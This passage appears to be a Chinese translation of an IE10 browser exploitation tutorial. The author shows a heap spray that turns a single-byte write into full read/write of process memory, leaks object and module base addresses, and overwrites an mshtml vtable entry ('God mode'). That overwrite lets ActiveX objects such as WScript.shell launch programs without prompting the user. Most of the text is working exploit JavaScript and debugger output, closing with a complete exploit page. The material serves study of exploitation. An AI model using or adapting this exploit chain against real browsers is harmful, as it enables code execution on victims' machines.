6e25ba9e c20400          ret     4       <----------  在这里设置一个断点



正如你所看到的,ArrayBuffer占18h字节,是通过jscript9!Recycler::AllocFinalized分配的.可以肯定的是,ArrayBuffer包含一个指向某一个内存块(包含了用户数据)的指针.事实上,你可以看到


jscript9!_imp_malloc被传递给了ArrayBuffer的构造函数,我们已经知道了,原始缓冲区确实是通过C运行库中的malloc分配的.


我们现在可以在该函数的尾部设置一个断点:





这些对象很容易分析.我们挖掘出的信息如下:


















IE10:从一字节写入到读/写整个进程地址空间


就像我们之前说过的,如果我们能够在任意地址处修改一个字节,那我们就能够获取读/写这整个进程地址空间的权限.诀窍:修改数组(或者类似的数据结构)的长度字段,这样我们就能够读写超出javascript代码中正常数组范围的地址空间了.




我们需要进行两次堆喷射:


1.        
若干LargeHeapBlock(大堆块)和堆中的一个ArrayBuffer(二进制数据的原始缓冲区).


2.        
在IE浏览器的自定义堆中分配若干Array(数组)和Int32Array类型数组.


相应的javascript代码如下:


<html>
<head>
<script language="javascript">
  (function() {
    alert("Starting!");
 
    //-----------------------------------------------------
    // 从1字节写入到读/写整个进程地址空间
    //-----------------------------------------------------
 
    a = new Array();
 
    // 8-字节头部 | 0x58-字节 LargeHeapBlock(大堆块)
    // 8-字节头部 | 0x58-字节 LargeHeapBlock(大堆块)
    // 8-字节头部 | 0x58-字节 LargeHeapBlock(大堆块)
    // .
    // .
    // .
    // 8-字节头部 | 0x58-字节 LargeHeapBlock(大堆块)
    // 8-字节头部 | 0x58-字节 ArrayBuffer (buf)
    // 8-字节头部 | 0x58-字节 LargeHeapBlock(大堆块)
    // .
    // .
    // .
    for (i = 0; i < 0x200; ++i) {
      a[i] = new Array(0x3c00);
      if (i == 0x80)
        buf = new ArrayBuffer(0x58);      // 必须恰好是0x58!
      for (j = 0; j < a[i].length; ++j)
        a[i][j] = 0x123;
    }
    
    //    0x0:  ArrayDataHead(数组数据头)
    //   0x20:  array[0] address(地址)
    //   0x24:  array[1] address(地址)
    //   ...
    // 0xf000:  Int32Array
    // 0xf030:  Int32Array
    //   ...
    // 0xffc0:  Int32Array
    // 0xfff0:  align data(对齐数据)
    for (; i < 0x200 + 0x400; ++i) {
      a[i] = new Array(0x3bf8)
      for (j = 0; j < 0x55; ++j)
        a[i][j] = new Int32Array(buf)
    }
    
    //          虚表指针
    //0c0af000 6b393718 031a98a0 00000000 00000003 00000004 00000000 00000016 02211a00
    //0c0af020 031bddc0                                                  数组长度 缓冲区地址
    //         jsArrayBuf                                          
    alert("Set byte at 0c0af01b to 0x20");
    
    alert("All done!");
  })();
 
</script>
</head>
<body>
</body>
</html>




这两次堆喷射的图解如下:





这里有一些要点是大家需要知道的.第一次堆喷射的目的是在LargeHeapBlock(大堆块)之间放上一个ArrayBuffer(二进制原始缓冲区).LargeHeapBlock(大堆块)和二进制原始缓冲区是在相同的堆中分配的,因此,如果它们具有相同大小的话,那么它们很有可能在内存中是毗连排列着的.由于LargeHeapBlock(大堆块)是0x58字节,那么二进制原始缓冲区也必须是0x58字节.




第二次堆喷射中的对象是在自定义堆中分配的.这意味着就算我们想像上面数组紧挨着LargetHeapBlock(大堆块)那个样子,我们也不用那样放置.




第二次堆喷射中的Int32Array引用到了第一次堆喷射中分配的ArrayBuffer(二进制原始缓冲区)类型的 buf.在第二次堆喷射中,我们分配0x400个0x10000字节的块.事实上,对于每个块,我们分配:


●  数组的长度0x3bf8 => 0x3bf8*4字节+0x20字节的头部
= 0xf000字节


●  0x55 Int32Array总共为0x30*0x55 = 0xff0.


 


我们可以看出,Int32Array为0x24字节,但它分配了0x30字节的块,所以它的有效大小为0x30字节.


正如我们前面说过的,一个块包含一个Array(数组)和0x55
Int32Array 总共0xf000 + 0xff0 = 0xfff0字节.事实上,Array(数组)在内存中是对齐的,所以有用于对齐的0x10字节我们并没有用到,每个块占0x10000字节.


该javascript代码以如下语句结尾


    alert("Set byte at 0c0af01b to 0x20");



首先,我们用VMMap查看一下该内存:





正如你所看到的,0xc0af01b正好在我们的第二次堆喷射中.我们在WinDbg中查看一下该内存.


首先,我们查看一下0xc0a0000这个地址(在这里我们应该可以找到一个数组):





注意,第二次堆喷射不完全像我们所期望的那样.我们再来看看该代码:


    for (; i < 0x200 + 0x400; ++i) {
      a[i] = new Array(0x3bf8)
      for (j = 0; j < 0x55; ++j)
        a[i][j] = new Int32Array(buf)
    }



由于在每个块中0x55 Int32Array是刚好在Array(数组)之后分配的,Array(数组)中的第一组0x55个元素指向了新分配的Int32Array,我们当然希望Array(数组)的第一个元素指向正好在该Array(数组)后面分配的第一个Int32Array啦,但是这一切并没有发生.这是因为,第二次堆喷射开始的内存处有少许的碎片,所以第一个Array(数组)和Int32Array很可能被分配在了被其他对象部分占用了的块中.




这并不是什么大的问题,我们细心一点即可.




现在,我们查看一下0xc0af000这个地址.在这里,我们应该可以找到该大块中的第一个Int32Array:





这个Int32Array指向了[bookmark: OLE_LINK2][bookmark: OLE_LINK1]2cd3658地址处的原始缓冲区(与LargeHeapBlock(大堆块)一起的,在常规堆中分配的ArrayBuffer(二进制原始缓冲区)类型的buf相关联的).我们来看一看这个地址:





这张图片跟我们预想的情况并不一致.每个LargeHeapBlock(大堆块)都指向了下一个块,跟我们之前看到的截然相反(我们之前看到的是每个块都指向了前一个块).


(PS:这里原文中提到前两个堆块之间没有紧挨着,中间有垃圾数据,我这里无法复现)


我们在IE中刷新页面,再来试一次:





LargeHeapBlock(大堆块)又指向了后面.我们再来试一次:





(PS:原文出现了这种情况,我这里刷新页面多次,并没有出现这种情况).我们再来试最后一次:





我们可以得出结论,LargeHeapBlock(大堆块)往往指向后面的块.我怀疑第一次大堆块指向前面的块是因为LargeHeapBlock(大堆块)是逆序分配的,即:朝着低地址方向.


我们看到了有几个点可能会出错.我们应该如何应对呢?我想出的解决方案为重新加载页面.我们可以进行些许检查来确保一切正常,如果实在不行的话,我们可以通过如下的方式来重新加载页面:


(function() {
    .
    .
    .
    if (check fails) {
      window.location.reload();
      return;
    }
    
  })();



我们需要将这段代码封装为一个函数,这样我们就能用return来停止执行这段代码.这是必要的,因为reload()并不是瞬间完成的,所以在页面重新加载之前有可能会出错.


前面我们说过,javascript以如下代码结尾






    //          虚表指针
    //0c0af000 6b393718 031a98a0 00000000 00000003 00000004 00000000 00000016 02211a00
    //0c0af020 031bddc0                                                  数组长度 缓冲区地址
    //         jsArrayBuf                                          
    alert("Set byte at 0c0af01b to 0x20");


看一看注释.位于0xc0af000地址处的Int32Array的array_len字段初始值为0x16.我们在0xc0af01b地址处写入了0x20后,就变成了0x20000016.如果原始缓冲区位于0x8ce0020地址处,那么我们就可以用位于0xc0af000地址处的Int32Array读写[0x8ce0020,0x8ce0020 + 0x20000016*4 - 4]这个范围内的地址空间了.


想要读写某个指定的地址,我们需要知道原始缓冲区的起始地址,即,比如说0x8ce0020.我们在WinDbg中的时候,定位到这个地址,但是只用javascript代码的话我们如何确定这个地址呢?


我们需要两步:


1.        
确定我们要修改array_len的Int32Array(即.位于0xc0af000地址处的这个).


2.        
利用LargeHeapBlock(大堆块)指向下一个块这个特点来找到buf_addr.


步骤1的代码如下:


    // 现在我们定位我们想要修改长度的Int32Array.
    int32array = 0;
    for (i = 0x200; i < 0x200 + 0x400; ++i) {
      for (j = 0; j < 0x55; ++j) {
        if (a[i][j].length != 0x58/4) {
          int32array = a[i][j];
          break;
        }
      }
      if (int32array != 0)
        break;
    }
    
    if (int32array == 0) {
      alert("Can't find int32array!");
      window.location.reload();
      return;
    }


大家应该很容易理解这段代码.简而言之,修改后的Int32Array的长度与原始长度0x58/4=0x16不同.注意,如果我们定位不到该Int32Array的话,那么肯定是哪里出错了,我们要重新加载页面.


记住,位于0xc0a0000地址处的Array(数组)的第一个元素并不一定指向了位于0xc0af000地址处的Int32Array,所以我们必须检查所有的Int32Array.


还有,通过修改Int32Array的array_len字段,我们就能够读/写超出原始缓冲区的范围的地址空间这种说法并不是很清晰明了.事实上,Int32Array还指向了ArrayBuffer(二进制原始缓冲区,其中包含了原始缓冲区的真实长度).所以,我们比较幸运,不用同时修改这两个长度.


现在我们来解读步骤二:




   // 这仅仅是一个例子.
    // 起始于0x3c1f178地址处Int32Array类型的缓冲区占0x58字节.
    // 接下来的LargeHeapBlock，前面8字节的头部,起始于3c1f1d8.
    // 括号中的值,位于03c1f178+0x60+0x24,指向接下来的LargeHeapBlock.
    //
    // 03c1f178: 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
    // 03c1f198: 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
    // 03c1f1b8: 00000000 00000000 00000000 00000000 00000000 00000000 014829e8 8c000000
    // 03c1f1d8: 70796e18 00000003 08100000 00000010 00000001 00000000 00000004 0810f020
    // 03c1f1f8: 08110000(03c1f238)00000000 00000001 00000001 00000000 03c15b40 08100000
    // 03c1f218: 00000000 00000000 00000000 00000004 00000001 00000000 01482994 8c000000
    // 03c1f238: ...
 
    // 我们检查上面的结构是正确的(我们检查第一个LargeHeapBlock).
    // 70796e18 = jscript9!LargeHeapBlock::`vftable' = jscript9 + 0x6e18
    var vftptr1 = int32array[0x60/4],
        vftptr2 = int32array[0x60*2/4],
        vftptr3 = int32array[0x60*3/4],
        nextPtr1 = int32array[(0x60+0x24)/4],
        nextPtr2 = int32array[(0x60*2+0x24)/4],
        nextPtr3 = int32array[(0x60*3+0x24)/4];
    if (vftptr1 & 0xffff != 0x6e18 || vftptr1 != vftptr2 || vftptr2 != vftptr3 ||
        nextPtr2 - nextPtr1 != 0x60 || nextPtr3 - nextPtr2 != 0x60) {
      alert("Error!");
      window.location.reload();
      return;
    }  
    
    buf_addr = nextPtr1 - 0x60*2;



记住,int32array是位于0xc0af000地址处被修改的Int32Array.我们读取虚表指针和LargeHeapBlock(大堆块)的前三个指针.如果一切正常的话,那么虚表指针的形式应该是0Xxxxx6e18,和下一组指针相差0x60(LargeHeapBlock的大小加上8字节的分配头).下图可以更清楚地阐明这一切:





现在,buf_addr包含了原始缓冲区的起始地址,我们可以读写的地址空间范围为[buf_addr,buf_addr + 0x20000016*4].我们访问整个地址空间,我们需要再次修改位于0xc0af000地址处的Int32Array.具体的方法如下:


// 现在我们再次修改int32array以此来逐步读/写整个地址空间.
    if (int32array[(0x0c0af000+0x1c - buf_addr)/4] != buf_addr) {
      alert("Error!");
      window.location.reload();
      return;
    }  
    int32array[(0x0c0af000+0x18 - buf_addr)/4] = 0x20000000;        // 新的长度
    int32array[(0x0c0af000+0x1c - buf_addr)/4] = 0;                 // 新的缓冲区地址
 
    function read(address) {
      var k = address & 3;
      if (k == 0) {
        // ####
        return int32array[address/4];
      }
      else {
        alert("to debug");
        // .### #... or ..## ##.. or ...# ###.
        return (int32array[(address-k)/4] >> k*8) |
               (int32array[(address-k+4)/4] << (32 - k*8));
      }
    }
    
    function write(address, value) {
      var k = address & 3;
      if (k == 0) {
        // ####
        int32array[address/4] = value;
      }
      else {
        // .### #... or ..## ##.. or ...# ###.
        alert("to debug");
        var low = int32array[(address-k)/4];
        var high = int32array[(address-k+4)/4];
        var mask = (1 << k*8) - 1;  // 0xff or 0xffff or 0xffffff
        low = (low & mask) | (value << k*8);
        high = (high & (0xffffffff - mask)) | (value >> (32 - k*8));
        int32array[(address-k)/4] = low;
        int32array[(address-k+4)/4] = high;
      }
    }



再来看下注释:


   //          虚表指针
    //0c0af000 6b393718 031a98a0 00000000 00000003 00000004 00000000 00000016 02211a00
    //0c0af020 031bddc0                                                  array_len buf_addr                  
//         jsArrayBuf   



在上面的代码中,我们将array_len(数组长度)设置为0x20000000,将buf_addr(缓冲区地址)设置为0.现在我们可以读/写地址空间的范围为[0,20000000*4].


注意,read()和write()的部分应该处理一下地址为不是4的倍数的情况,我没有测试,因为没有这个必要.




对象地址的泄露


我们需要确定javascript中对象的地址.代码如下:


  for (i = 0x200; i < 0x200 + 0x400; ++i)
      a[i][0x3bf7] = 0;
    
    // 我们向我们其中一个数组的最后一个位置写入3.IE浏览器会将数组x
    // 编码为2*x+1,这样就可以将地址(dword对齐的)和数字区分开.
    // 我们要么使用奇数,要么使用有效的地址,不然的话,IE浏览器将在
    // 下面的循环中崩溃掉.
    write(0x0c0af000-4, 3);
 
    leakArray = 0;
    for (i = 0x200; i < 0x200 + 0x400; ++i) {
      if (a[i][0x3bf7] != 0) {
        leakArray = a[i];
        break;
      }
    }
    if (leakArray == 0) {
      alert("Can't find leakArray!");
      window.location.reload();
      return;
    }
    
    function get_addr(obj) {
      leakArray[0x3bf7] = obj;
      return read(0x0c0af000-4);
    }


我们想要定位0xc0a0000地址处的Array(数组).我们像下面这样做:


1.        
我们将每个Array(数组)的最后一个元素清零(a[0x3bf7] = 0).


2.        
我们向0xc0af000 – 4写入3,即:我们将0xc0a0000地址处的Array(数组)中的最后一个元素赋值为3.


3.        
我们找出最后一个元素不为零的Array(数组),即:0xc0a0000地址处的Array(数组),让leakArray指向它.


4.        
我们定义函数get_addr():


a)        
obj,对象的引用


b)        
将leakArray的最后一个元素赋值为obj


c)        
通过使用read()读取obj后面指针的真正的值


get_addr这个函数非常重要,因为它可以帮我们确定我们通过javascript代码在内存中创建的对象的实际地址.现在我们可以像下面这样来确定jscript9.dll和mshtml.dll的基地址:


    // 从0c0af000地址处我们可以读取Int32Array的虚表指针:
    //   jscript9!Js::TypedArray<int>::`vftable' @ jscript9+3b60 
    jscript9 = read(0x0c0af000) - 0x3b60;
    .
    .
    .
    // 开始处的元素div如下:
    //      +----- jscript9!Projection::ArrayObjectInstance::`vftable'
    //      v
    //   70792248 0c012b40 00000000 00000003
    //   73b38b9a 00000000 00574230 00000000
    //      ^
    //      +---- MSHTML!CBaseTypeOperations::CBaseFinalizer = mshtml + 0x58b9a
    var addr = get_addr(document.createElement("div"));
    mshtml = read(addr + 0x10) - 0x58b9a;


上面的代码非常简单.我们知道,0xc0af000地址处有一个Int32Array,它的第一个DWORD是虚表指针.由于TypedArray<int>的虚表位于jscript9.dll这个模块中,并且是一个固定的RVA,我们很容易通过它的实际地址减去虚表的RVA计算得出jscript9的基地址.

接着,我们创建了一个div元素(标签),结合泄露的信息,我们可以在该元素偏移0x10处找到一个指向MSHTML!CbaseTypeOperations::CbaseFinalizer的指针,我们可以得出如下表达式:


mshtml + RVA = mshtml + 0x58b9a



就像以前一样,我们可以通过一个简单的减法来确定mshtml.dll的基地址.


















IE10:上帝模式(1)


当一个html页面尝试在IE浏览器中加载并运行ActiveX对象的时候,IE浏览器会弹出一个提示对话框.举个例子,用如下代码创建一个html文件:


<html>
<head>
<script language="javascript">
  shell = new ActiveXObject("WScript.shell");
  shell.Exec('calc.exe');
</script>
</head>
<body>
</body>
</html>


如果你在IE浏览器中打开这个文件,将弹出如下的对话框:





如果我们激活了这个所谓的上帝模式,那么IE浏览器不需要争得用户的许可就可以运行ActiveX对象了.基本上,我们仅仅只用我们的读写能力就可以改变IE浏览器的行为了.




这里弹出一个计算器有什么意思呢?作为常规shellcode的范例的话,我们应该要可以执行任意代码才行,但是这里,我们仅仅只能证明我们可以执行位于用户硬盘上的任意程序.但是我们如何才能执行任意代码呢?




一种解决方案:创建一个包含我们指定代码和数据的.exe文件,然后执行它.但是着眼于眼前,我们首先来尝试绕过执行上面代码的时候弹出的对话框.




绕过该对话框


运行上面代码的时候弹出的对话框看起来像是一个普通的Windows对话框,所以该对话框很可能是IE浏览器通过调用Windows API函数创建的.我们通过谷歌搜索一下MSDN dialog
box(对话框).第一个结果为如下链接:


https://msdn.microsoft.com/en-us/library/windows/desktop/ms645452%28v=vs.85%29.aspx


从下图中你可以看到有几个可以用来创建对话框的函数:





通过阅读注意事项部分,我们发现DialogBox调用了CreateWindowEx:





我们可以看到还有一些其他的函数可以用于创建对话框,我们发现它们也是调用的CreateWindowEx,所以我们应该对CreateWindowEx设置一个断点.


首先,我们用IE浏览器加载上面的html页面,在允许被阻止的内容之前(当你用IE打开一个本地html文件的时候,IE征得用户的许可),我们在WinDbg中对CreateWindowEx设置一个断点(包括ASCII和Unicode版本):





然后,我们允许被阻止的内容,CreateWindowEx处的断点触发了.调用堆栈如下:





这三行看起来应该是关键点:





CanObjectRun这个函数是用于决定ActiveX对象是否可以运行的吗?我们删除之前设置的断点,给Jscript9!ScriptSite::CreateActiveXObject设置一个断点:




当我们在IE浏览器重新加载该html页面并允许被阻止的内容时,我们就断在了CreateActiveXObject处.代码如下:





如果我们单步跟进jscript9!ScriptSite::CreateObjectFromProgID,我们将看到如下代码:





如果往下单步跟踪,我们会看到调用了jscript9!ScriptEngine::CanCreateObject这个函数.这个函数看起来比较关键.现在,我们会注意到这里该函数返回1(即:EAX=1).我们继续单步往下跟踪:





最后,我们看到调用了jscript9!ScriptEngine::CanObjectRun.我们一单步执行该函数,熟悉的对话框弹出了出来:





我们单击是按钮,回到WinDbg中.我们可以看到CanObjectRun返回了1(即:EAX=1).这意味着,位于67c849c4地址处的这个je条件跳转不会发生,随即CreateObjectFromProgID这个函数将会返回.我们可以看到一个计算器弹了出来.




现在,我们对67c849c2这个地址设置一个断点,在IE中重新加载该页面,当对话框弹出以后,我们点击否按钮看看会发生什么.现在,EAX为0,je这个条件跳转将发生.如果我们继续执行,我们可以看到这次计算器并没有弹出来.




所以,如果我们想绕过这个对话框,我们必须强制让CanObjectRun返回true(即:EAX!=0).不幸的是,因为这段代码位于只读分页,所以我们不能修改它.我们需要想点别的办法.




我们对jscript9!ScriptEngine::CanObjectRun设置一个断点,在IE中重新加载该页面.这次,我们单步步入到CanObjectRun这个函数中:


jscript9!ScriptEngine::CanObjectRun:
6de64cd5 8bff            mov     edi,edi
6de64cd7 55              push    ebp
6de64cd8 8bec            mov     ebp,esp
6de64cda 83ec48          sub     esp,48h
6de64cdd a1cc52006e      mov     eax,dword ptr [jscript9!__security_cookie (6e0052cc)]
6de64ce2 33c5            xor     eax,ebp
6de64ce4 8945f8          mov     dword ptr [ebp-8],eax
6de64ce7 53              push    ebx
6de64ce8 8b5d08          mov     ebx,dword ptr [ebp+8]
6de64ceb 56              push    esi
6de64cec 57              push    edi
6de64ced 8bf9            mov     edi,ecx
6de64cef 8bf2            mov     esi,edx
6de64cf1 8bc7            mov     eax,edi
6de64cf3 8975cc          mov     dword ptr [ebp-34h],esi
6de64cf6 e8fafcffff      call    jscript9!ScriptEngine::InSafeMode (6de649f5)
6de64cfb 85c0            test    eax,eax
6de64cfd 0f84b69d1400    je      jscript9!memset+0xe415 (6dfaeab9)
 
jscript9!ScriptEngine::CanObjectRun+0x2e:
6de64d03 f687e401000008  test    byte ptr [edi+1E4h],8
6de64d0a 0f84b89d1400    je      jscript9!memset+0xe424 (6dfaeac8)
 
jscript9!ScriptEngine::CanObjectRun+0x3b:
6de64d10 8d45bc          lea     eax,[ebp-44h]
6de64d13 50              push    eax
6de64d14 e84dfdffff      call    jscript9!ScriptEngine::GetSiteHostSecurityManagerNoRef (6de64a66)
6de64d19 85c0            test    eax,eax
6de64d1b 0f88a09d1400    js      jscript9!memset+0xe41d (6dfaeac1)
 
jscript9!ScriptEngine::CanObjectRun+0x4c:
6de64d21 8b45bc          mov     eax,dword ptr [ebp-44h]
6de64d24 8d7dd0          lea     edi,[ebp-30h]
6de64d27 a5              movs    dword ptr es:[edi],dword ptr [esi]
6de64d28 a5              movs    dword ptr es:[edi],dword ptr [esi]
6de64d29 a5              movs    dword ptr es:[edi],dword ptr [esi]
6de64d2a a5              movs    dword ptr es:[edi],dword ptr [esi]
6de64d2b 895de0          mov     dword ptr [ebp-20h],ebx
6de64d2e 33db            xor     ebx,ebx
6de64d30 53              push    ebx
6de64d31 6a18            push    18h
6de64d33 8d55d0          lea     edx,[ebp-30h]
6de64d36 52              push    edx
6de64d37 8d55cc          lea     edx,[ebp-34h]
6de64d3a 52              push    edx
6de64d3b 8d55c0          lea     edx,[ebp-40h]
6de64d3e 52              push    edx
6de64d3f 68884de66d      push    offset jscript9!GUID_CUSTOM_CONFIRMOBJECTSAFETY (6de64d88)
6de64d44 895de4          mov     dword ptr [ebp-1Ch],ebx
6de64d47 8b08            mov     ecx,dword ptr [eax]
6de64d49 50              push    eax
6de64d4a ff5114          call    dword ptr [ecx+14h]    ds:002b:6bee7764={MSHTML!TearoffThunk5 (6b3c262e)}   <-----------
6de64d4d 85c0            test    eax,eax
6de64d4f 0f886c9d1400    js      jscript9!memset+0xe41d (6dfaeac1)
 
jscript9!ScriptEngine::CanObjectRun+0x80:
6de64d55 8b45c0          mov     eax,dword ptr [ebp-40h]
6de64d58 6a03            push    3


当我们单步步过6de64d4a这个call,熟悉的对话框又弹了出来.我们继续往下单步跟踪:





最后,CanObjectRun返回了.


我们再来看下下面这三行代码:


6de64d47 8b08            mov     ecx,dword ptr [eax]     
6de64d49 50              push    eax
6de64d4a ff5114          call    dword ptr [ecx+14h]    ds:002b:6bee7764={MSHTML!TearoffThunk5 (6b3c262e)}   <-----------



很清楚了,第一行读取虚表指针(由eax指向的对象的第一个dword值),最后,第三条指令调用虚表中的第6个虚函数(偏移14h).由于所有虚表项的RVA都是固定的,所以我们可以通过定位和修改该虚表来达到调用我们想要执行的代码的目的.




在刚好要调用6de64d4a这个call之前,eax显示不为零,所以,如果这个时候我们立即从CanObjectRun中返回,CanObjectRun将返回true.那么如果我们用6de64d84这个值覆盖虚表中的第6个指针会发生什么呢?




位于6de64d47地址处的这个call如果调用的是CanObjectRun的epilog(PS: Epilog 代码位于函数的每个出口.Epilog 代码执行以下操作:必要时将堆栈修整为其固定分配大小;释放固定堆栈分配;从堆栈中弹出非易失寄存器的保存值以还原这些寄存器;返回.),那么CanObjectRun将结束并返回true.一切都将正常工作,即使67c84d47地址处的这个call会将返回地址压入堆栈,CanObjectRun的epilog也会将esp恢复到正确的值.记住,leave指令等价于如下两条指令:


mov esp,ebp
pop ebp



我们对6de64d4a地址处设置一个断点,在IE中重新加载该页面,该断点就会触发,检查一下虚表:





要确定虚表的RVA非常容易:





现在我们来定位位于6de64d84地址处epilog的RVA:





所以,虚表位于mshtml + 0xc57750地址处,我们需要用jscript9
+ 0xf4d84这个值覆盖掉位于mshtml + 0xc57750 + 0x14地址处的DWORD值.我们来看看用javascript代码如何实现:


// 我们想用jscript9+0xf4d84覆盖掉mshtml+0xc57750+0x14地址处的DWORD值:
//  *mshtml + 0xc57750是我们想要修改的虚表项的地址;
//  *jscript9+0xf4d84指向了代码"leave / ret 4".
// 其结果是,jscript9!ScriptEngine::CanObjectRun返回true. 
 
var old = read(mshtml+0xc57750+0x14);
write(mshtml+0xc57750+0x14, jscript9+0xf4d84);      // 开始上帝模式!
 
shell = new ActiveXObject("WScript.shell");
shell.Exec('calc.exe');
 
write(mshtml+0xc57750+0x14, old);      // 关闭上帝模式!



请注意,该代码应该尽快的恢复虚表(关闭上帝模式!),因为长时间的修改虚表将导致崩溃.


完整的代码如下:


<html>
<head>
<script language="javascript">
  (function() {
    alert("Starting!");
 
    //-----------------------------------------------------
    // 从1字节写入到读/写整个进程地址空间
    //-----------------------------------------------------
 
    a = new Array();
 
    // 8-byte 头部 | 0x58-byte LargeHeapBlock(大堆块)
    // 8-byte 头部 | 0x58-byte LargeHeapBlock(大堆块)
    // 8-byte 头部 | 0x58-byte LargeHeapBlock(大堆块)
    // .
    // .
    // .
    // 8-byte 头部 | 0x58-byte LargeHeapBlock(大堆块)
    // 8-byte 头部 | 0x58-byte ArrayBuffer (buf)
    // 8-byte 头部 | 0x58-byte LargeHeapBlock(大堆块)
    // .
    // .
    // .
    for (i = 0; i < 0x200; ++i) {
      a[i] = new Array(0x3c00);
      if (i == 0x80)
        buf = new ArrayBuffer(0x58);      // 必须为恰好为0x58!
      for (j = 0; j < a[i].length; ++j)
        a[i][j] = 0x123;
    }
    
    //    0x0:  ArrayDataHead(数组数据头部)
    //   0x20:  array[0] address(地址)
    //   0x24:  array[1] address(地址)
    //   ...
    // 0xf000:  Int32Array(32位整数类型数组)
    // 0xf030:  Int32Array(32位整数类型数组)
    //   ...
    // 0xffc0:  Int32Array(32位整数类型数组)
    // 0xfff0:  对齐的数据
    for (; i < 0x200 + 0x400; ++i) {
      a[i] = new Array(0x3bf8)
      for (j = 0; j < 0x55; ++j)
        a[i][j] = new Int32Array(buf)
    }
    
    //           虚表指针
    // 0c0af000 6b623718 030098a0 00000000 00000003 00000004 00000000 00000016 02a83ae0
    // 0c0af020 0301ddc0                                              array_len buf_addr
    //          jsArrayBuf                                           (数组长度)(缓冲区地址)
    alert("Set byte at 0c0af01b to 0x20");
    
    // 现在我们来定位我们要修改其长度的Int32Array.
    int32array = 0;
    for (i = 0x200; i < 0x200 + 0x400; ++i) {
      for (j = 0; j < 0x55; ++j) {
        if (a[i][j].length != 0x58/4) {
          int32array = a[i][j];
          break;
        }
      }
      if (int32array != 0)
        break;
    }
    
    if (int32array == 0) {
      alert("Can't find int32array!");
      window.location.reload();
      return;
    }
 
    // 这仅仅是一个例子.
    // 起始于02a83b40地址处的Int32Array类型的缓冲区占0x58字节.
    // 接下来的LargeHeapBlock,前面8字节的头部,起始于02a83b40.
    // 括号中的值,位于02a83ae0+0x60+0x24,指向了下一个LargeHeapBlock.
    //
    // 02a83ae0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
    // 02a83b00 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
    // 02a83b20 00000000 00000000 00000000 00000000 00000000 00000000 6dc720aa 8c00ffff
    // 02a83b40 6b621b0c 00000003 06790000 00000010 00000001 00000000 00000004 0679f020
    // 02a83b60 067a0000 02a83ba0 00000000 00000001 00000001 00000000 02a53658 06790000
    // 02a83b80 00000000 00000000 00000000 00000004 00000001 029fda9c 6dc720be 8c000000
    // 02a83ba0: ...
 
    // 我们检查上面的结构是否正确(我们检查第一个LargeHeapBlock).
    // 70796e18 = jscript9!LargeHeapBlock::`vftable' = jscript9 + 0x6e18
    var vftptr1 = int32array[0x60/4],
        vftptr2 = int32array[0x60*2/4],
        vftptr3 = int32array[0x60*3/4],
        nextPtr1 = int32array[(0x60+0x24)/4],
        nextPtr2 = int32array[(0x60*2+0x24)/4],
        nextPtr3 = int32array[(0x60*3+0x24)/4];
    if (vftptr1 & 0xffff != 0x1b0c || vftptr1 != vftptr2 || vftptr2 != vftptr3 ||
        nextPtr2 - nextPtr1 != 0x60 || nextPtr3 - nextPtr2 != 0x60) {
      alert("Error!");
      window.location.reload();
      return;
    }  
    
    buf_addr = nextPtr1 - 0x60*2;
    
    // 现在我们再次修改int32array以此来逐步读/写整个地址空间.
    if (int32array[(0x0c0af000+0x1c - buf_addr)/4] != buf_addr) {
      alert("Error!");
      window.location.reload();
      return;
    }  
    int32array[(0x0c0af000+0x18 - buf_addr)/4] = 0x20000000;        // 新长度
    int32array[(0x0c0af000+0x1c - buf_addr)/4] = 0;                 // 新缓冲区地址
 
    function read(address) {
      var k = address & 3;
      if (k == 0) {
        // ####
        return int32array[address/4];
      }
      else {
        alert("to debug");
        // .### #... 或者 ..## ##.. 或者 ...# ###.
        return (int32array[(address-k)/4] >> k*8) |
               (int32array[(address-k+4)/4] << (32 - k*8));
      }
    }
    
    function write(address, value) {
      var k = address & 3;
      if (k == 0) {
        // ####
        int32array[address/4] = value;
      }
      else {
        // .### #... 或者 ..## ##.. 或者 ...# ###.
        alert("to debug");
        var low = int32array[(address-k)/4];
        var high = int32array[(address-k+4)/4];
        var mask = (1 << k*8) - 1;  // 0xff or 0xffff or 0xffffff
        low = (low & mask) | (value << k*8);
        high = (high & (0xffffffff - mask)) | (value >> (32 - k*8));
        int32array[(address-k)/4] = low;
        int32array[(address-k+4)/4] = high;
      }
    }
    
    //---------
    // 上帝模式
    //---------
    
    // 从0c0af000地址处我们可以读取Int32Array的虚表指针.
    //   jscript9!Js::TypedArray<int>::`vftable' @ jscript9+3718
    jscript9 = read(0x0c0af000) - 0x3718;
    
    // 现在我们需要确定MSHTML的基地址.我们可以创建一个HTML
    // 对象,写入对应于我们其中一个数组的最后一个元素的引用(地址为0x0c0af000-4)
    // 定位位于0x0c0af000-4地址处的数组.                                         
    
    for (i = 0x200; i < 0x200 + 0x400; ++i)
      a[i][0x3bf7] = 0;
    
    //我们向我们其中一个数组的最后一个位置写入3.IE浏览器会将数字x
    //编码为2*x+1,这样就可以将地址(以dword对齐的)和数字区分开.
    //我们要么使用奇数,要么使用有效的地址,不然的话,IE浏览器将在
    //下面的循环中崩溃掉.
    write(0x0c0af000-4, 3);
 
    leakArray = 0;
    for (i = 0x200; i < 0x200 + 0x400; ++i) {
      if (a[i][0x3bf7] != 0) {
        leakArray = a[i];
        break;
      }
    }
    if (leakArray == 0) {
      alert("Can't find leakArray!");
      window.location.reload();
      return;
    }
    
    function get_addr(obj) {
      leakArray[0x3bf7] = obj;
      return read(0x0c0af000-4, obj);
    }
    
    // 回头来确定MSHTML的基地址...
    // 开始处的元素div如下:
    //      +----- jscript9!Projection::ArrayObjectInstance::`vftable'
    //      v
    //   70792248 0c012b40 00000000 00000003
    //   73b38b9a 00000000 00574230 00000000
    //      ^
    //      +---- MSHTML!CBaseTypeOperations::CBaseFinalizer = mshtml + 0x126e23
    var addr = get_addr(document.createElement("div"));
    mshtml = read(addr + 0x10) - 0x126e23;
 
    // 我们想用jscript9+0xf4d84覆盖掉mshtml+0xc57750+0x14地址处的DWORD值:
    //  *mshtml + 0xc57750是我们想要修改的虚表项的地址;
    //  *jscript9+0xf4d84指向了代码"leave / ret 4".
    // 其结果是,jscript9!ScriptEngine::CanObjectRun返回true. 
 
 
    var old = read(mshtml+0xc57750+0x14);
    write(mshtml+0xc57750+0x14, jscript9+0xf4d84);      // 开启上帝模式!
    
    shell = new ActiveXObject("WScript.shell");
    shell.Exec('calc.exe');
 
    write(mshtml+0xc57750+0x14, old);      // 关闭上帝模式!
    
